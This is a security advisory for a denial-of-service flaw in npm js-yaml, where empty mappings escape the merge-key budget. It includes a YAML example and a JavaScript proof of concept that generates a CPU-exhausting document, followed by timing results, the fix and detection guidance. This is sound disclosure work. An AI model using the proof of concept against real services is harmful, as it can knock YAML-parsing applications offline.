GHSA-r3ph-w7gj-g6xm: Medium severity npm/js-yaml vulnerability
Summary
maxTotalMergeKeys does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.
Example
yaml arr: &arr [{}, {}, {}, ...] # N empty mappings targets: - <<: arr # repeated K times
For every target, the loader iterates all N elements of arr. This results in O(N K) work while totalMergeKeys remains unchanged.
PoC
js import { performance } from 'node:perfhooks' import { load, YAML11SCHEMA } from 'js-yaml'
const n = 20000
const src = 'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' + 'targets:\n' + ' - <<: arr\n'.repeat(n)
const started = performance.now()
load(src, { schema: YAML11SCHEMA })
console.log(${(performance.now() - started).toFixed(1)} ms)
Observed results:
| N | YAML size | Time | |---:|---:|---:| | 800 | ~13 KB | ~20 ms | | 3200 | ~50 KB | ~180 ms | | 20000 | ~500 KB | ~13 s |
Impact
When merge keys are enabled, an attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default maxTotalMergeKeys limit.
Fix
Count every merge source mapping as one budget unit in addition to counting its keys.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/js-yamlto a version that resolves this vulnerability.Fixed in 5.4.1 - Compensating control
Update the YAML loader's merge-key budget accounting so that every merge source mapping counts as one budget unit in addition to counting its keys.
Event History
Frequently Asked Questions
What conditions make an application exposed to this denial-of-service issue?
The application must parse attacker-controlled YAML with merge keys enabled. The issue affects documents that repeatedly merge an aliased sequence containing many empty mappings.
Can the default merge-key limit prevent this attack?
No. Empty source mappings are not counted by maxTotalMergeKeys, so an attacker can drive substantial CPU work without reaching the configured limit.
What can be done if updating is not immediately possible?
Avoid parsing untrusted YAML with merge keys enabled. If merge keys are required, restrict or reject documents that use repeated merge operations or large aliased sequences of empty mappings.
How can this issue be recognized during investigation?
Look for YAML containing an anchor for a large sequence of empty mappings and many targets using the merge key to merge that anchor. Parsing such input can show disproportionately high CPU time relative to document size.